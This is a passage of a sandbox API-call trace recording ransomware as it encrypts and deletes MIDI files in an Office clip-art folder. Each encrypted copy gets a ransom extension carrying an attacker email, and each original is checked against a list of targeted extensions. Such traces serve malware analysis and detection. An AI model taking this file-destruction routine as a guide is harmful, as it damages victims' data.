lpOverlapped=0x0) returned 1 [0242.351] WriteFile (in: hFile=0x3b0, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1e60, lpOverlapped=0x0) returned 1 [0242.355] ReadFile (in: hFile=0x354, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.355] WriteFile (in: hFile=0x3b0, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.355] SetEndOfFile (hFile=0x3b0) returned 1 [0242.356] CloseHandle (hObject=0x3b0) returned 1 [0242.357] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.357] SetEndOfFile (hFile=0x354) returned 1 [0242.364] CloseHandle (hObject=0x354) returned 1 [0242.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid")) returned 1 [0242.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.741] lstrlenW (lpString=".doc") returned 4 [0242.741] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.741] lstrlenW (lpString=".docx") returned 5 [0242.741] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0242.741] lstrlenW (lpString=".pdf") returned 4 [0242.741] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.741] lstrlenW (lpString=".xls") returned 4 [0242.741] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.741] lstrlenW (lpString=".xlsx") returned 5 [0242.741] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0242.741] lstrlenW (lpString=".ppt") returned 4 [0242.741] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.741] lstrlenW (lpString=".zip") returned 4 [0242.741] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.742] lstrlenW (lpString=".rar") returned 4 [0242.742] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.742] lstrlenW (lpString=".bz2") returned 4 [0242.742] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.742] lstrlenW (lpString=".7z") returned 3 [0242.742] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.742] lstrlenW (lpString=".dbf") returned 4 [0242.742] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.742] lstrlenW (lpString=".1cd") returned 4 [0242.742] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.742] lstrlenW (lpString=".jpg") returned 4 [0242.743] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.743] lstrlenW (lpString=".doc") returned 4 [0242.743] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.743] lstrlenW (lpString=".docx") returned 5 [0242.743] lstrcmpiW (lpString1=".docx", lpString2="6.MID") returned -1 [0242.743] lstrlenW (lpString=".pdf") returned 4 [0242.743] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.743] lstrlenW (lpString=".xls") returned 4 [0242.743] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.743] lstrlenW (lpString=".xlsx") returned 5 [0242.744] lstrcmpiW (lpString1=".xlsx", lpString2="6.MID") returned -1 [0242.744] lstrlenW (lpString=".ppt") returned 4 [0242.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.744] lstrlenW (lpString=".zip") returned 4 [0242.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.744] lstrlenW (lpString=".rar") returned 4 [0242.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.744] lstrlenW (lpString=".bz2") returned 4 [0242.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.744] lstrlenW (lpString=".7z") returned 3 [0242.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.744] lstrlenW (lpString=".dbf") returned 4 [0242.745] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.745] lstrlenW (lpString=".1cd") returned 4 [0242.745] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0242.745] lstrlenW (lpString=".jpg") returned 4 [0242.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.746] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.746] lstrlenW (lpString="PARNT_10.MID") returned 12 [0242.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0242.751] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=5393) returned 1 [0242.751] CloseHandle (hObject=0x384) returned 1 [0242.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0242.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0242.892] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.892] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0242.967] GetLastError () returned 0x0 [0242.967] ReadFile (in: hFile=0x3ac, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x1511, lpOverlapped=0x0) returned 1 [0243.012] WriteFile (in: hFile=0x3a4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0244.040] ReadFile (in: hFile=0x3ac, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.049] WriteFile (in: hFile=0x3a4, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.049] SetEndOfFile (hFile=0x3a4) returned 1 [0244.235] CloseHandle (hObject=0x3a4) returned 1 [0244.535] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.535] SetEndOfFile (hFile=0x3ac) returned 1 [0244.581] CloseHandle (hObject=0x3ac) returned 1 [0244.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0246.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0246.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.091] lstrlenW (lpString=".doc") returned 4 [0246.091] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0246.091] lstrlenW (lpString=".docx") returned 5 [0246.091] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0246.091] lstrlenW (lpString=".pdf") returned 4 [0246.091] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0246.091] lstrlenW (lpString=".xls") returned 4 [0246.091] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0246.091] lstrlenW (lpString=".xlsx") returned 5 [0246.091] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0246.092] lstrlenW (lpString=".ppt") returned 4 [0246.092] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0246.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.092] lstrlenW (lpString=".zip") returned 4 [0246.092] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0246.092] lstrlenW (lpString=".rar") returned 4 [0246.092] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0246.092] lstrlenW (lpString=".bz2") returned 4 [0246.092] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0246.092] lstrlenW (lpString=".7z") returned 3 [0246.092] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0246.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.092] lstrlenW (lpString=".dbf") returned 4 [0246.093] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0246.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.093] lstrlenW (lpString=".1cd") returned 4 [0246.093] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0246.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.093] lstrlenW (lpString=".jpg") returned 4 [0246.093] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0246.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.093] lstrlenW (lpString=".doc") returned 4 [0246.093] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0246.094] lstrlenW (lpString=".docx") returned 5 [0246.094] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0246.094] lstrlenW (lpString=".pdf") returned 4 [0246.094] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0246.094] lstrlenW (lpString=".xls") returned 4 [0246.094] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0246.094] lstrlenW (lpString=".xlsx") returned 5 [0246.094] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0246.094] lstrlenW (lpString=".ppt") returned 4 [0246.094] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0246.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.094] lstrlenW (lpString=".zip") returned 4 [0246.094] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0246.095] lstrlenW (lpString=".rar") returned 4 [0246.095] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0246.095] lstrlenW (lpString=".bz2") returned 4 [0246.095] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0246.095] lstrlenW (lpString=".7z") returned 3 [0246.095] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0246.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.095] lstrlenW (lpString=".dbf") returned 4 [0246.095] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0246.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.095] lstrlenW (lpString=".1cd") returned 4 [0246.095] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0246.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0246.095] lstrlenW (lpString=".jpg") returned 4 [0246.095] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0246.096] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0246.096] lstrlenW (lpString="SHOW_01.MID") returned 11 [0246.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.000] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=6392) returned 1 [0247.000] CloseHandle (hObject=0x398) returned 1 [0247.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0247.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0247.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0247.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.046] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.070] GetLastError () returned 0x0 [0248.071] ReadFile (in: hFile=0x384, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0248.102] WriteFile (in: hFile=0x3bc, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0248.105] ReadFile (in: hFile=0x384, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.105] WriteFile (in: hFile=0x3bc, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xea, lpOverlapped=0x0) returned 1 [0248.105] SetEndOfFile (hFile=0x3bc) returned 1 [0248.106] CloseHandle (hObject=0x3bc) returned 1 [0248.115] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.115] SetEndOfFile (hFile=0x384) returned 1 [0248.123] CloseHandle (hObject=0x384) returned 1 [0248.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0248.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0248.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.212] lstrlenW (lpString=".doc") returned 4 [0248.212] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.212] lstrlenW (lpString=".docx") returned 5 [0248.212] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.212] lstrlenW (lpString=".pdf") returned 4 [0248.212] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.212] lstrlenW (lpString=".xls") returned 4 [0248.213] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.213] lstrlenW (lpString=".xlsx") returned 5 [0248.213] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.213] lstrlenW (lpString=".ppt") returned 4 [0248.213] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.213] lstrlenW (lpString=".zip") returned 4 [0248.213] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.213] lstrlenW (lpString=".rar") returned 4 [0248.213] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.213] lstrlenW (lpString=".bz2") returned 4 [0248.213] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.213] lstrlenW (lpString=".7z") returned 3 [0248.214] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.214] lstrlenW (lpString=".dbf") returned 4 [0248.214] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.214] lstrlenW (lpString=".1cd") returned 4 [0248.214] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.214] lstrlenW (lpString=".jpg") returned 4 [0248.214] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.215] lstrlenW (lpString=".doc") returned 4 [0248.215] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.215] lstrlenW (lpString=".docx") returned 5 [0248.215] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0248.215] lstrlenW (lpString=".pdf") returned 4 [0248.215] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.215] lstrlenW (lpString=".xls") returned 4 [0248.215] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.215] lstrlenW (lpString=".xlsx") returned 5 [0248.215] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0248.215] lstrlenW (lpString=".ppt") returned 4 [0248.216] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.216] lstrlenW (lpString=".zip") returned 4 [0248.216] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.216] lstrlenW (lpString=".rar") returned 4 [0248.216] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.216] lstrlenW (lpString=".bz2") returned 4 [0248.216] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.216] lstrlenW (lpString=".7z") returned 3 [0248.216] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.216] lstrlenW (lpString=".dbf") returned 4 [0248.216] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.217] lstrlenW (lpString=".1cd") returned 4 [0248.217] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0248.217] lstrlenW (lpString=".jpg") returned 4 [0248.217] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.217] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0248.218] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0248.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.251] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=4961) returned 1 [0248.251] CloseHandle (hObject=0x3b4) returned 1 [0248.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0248.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0248.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.731] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.731] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0248.732] GetLastError () returned 0x0 [0248.732] ReadFile (in: hFile=0x384, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x1361, lpOverlapped=0x0) returned 1 [0248.738] WriteFile (in: hFile=0x3bc, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0248.742] ReadFile (in: hFile=0x384, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.742] WriteFile (in: hFile=0x3bc, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.743] SetEndOfFile (hFile=0x3bc) returned 1 [0248.743] CloseHandle (hObject=0x3bc) returned 1 [0248.744] 